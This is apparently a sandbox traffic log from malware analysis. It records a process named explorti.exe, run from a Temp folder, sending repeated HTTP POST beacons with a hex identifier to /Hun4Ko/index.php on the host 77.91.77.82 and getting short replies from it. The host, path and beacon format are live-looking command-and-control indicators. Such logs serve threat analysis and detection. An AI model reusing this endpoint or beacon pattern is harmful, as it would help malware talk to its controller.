Jul 4, 2024 20:35:26.171792984 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:35:26.393651962 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49845	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:26.511437893 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49846	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:26.529422045 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:35:27.234791040 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49847	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:27.353878021 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:35:28.062350035 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49848	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:28.072135925 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:35:28.785530090 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	49849	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:28.912137032 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:35:29.606564999 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	49850	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:29.621476889 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:35:30.384438992 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	49852	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:30.495556116 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:35:31.208518982 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 20:35:31.212968111 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:35:31.436271906 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	49853	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:31.557123899 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	49854	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:31.574955940 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:35:32.309596062 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	49855	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:32.442142963 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:35:33.159991026 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	49856	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:33.172880888 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:35:33.887631893 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	49857	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:34.025320053 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:35:34.751460075 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	49858	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:34.760157108 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:35:35.457681894 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	49860	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:35.576105118 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:35:36.303611994 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	49861	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:36.317172050 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:35:37.186288118 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	49862	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:37.309618950 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:35:38.154382944 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 20:35:38.391619921 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	49863	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:38.393374920 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:35:39.210676908 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	49864	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:39.323287964 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:35:40.730973005 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 20:35:40.731218100 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 20:35:40.731621027 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	49865	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:40.740151882 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:35:41.446388006 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	49868	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:41.561916113 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:35:42.278971910 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	49869	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:42.291913033 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:35:43.026335001 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
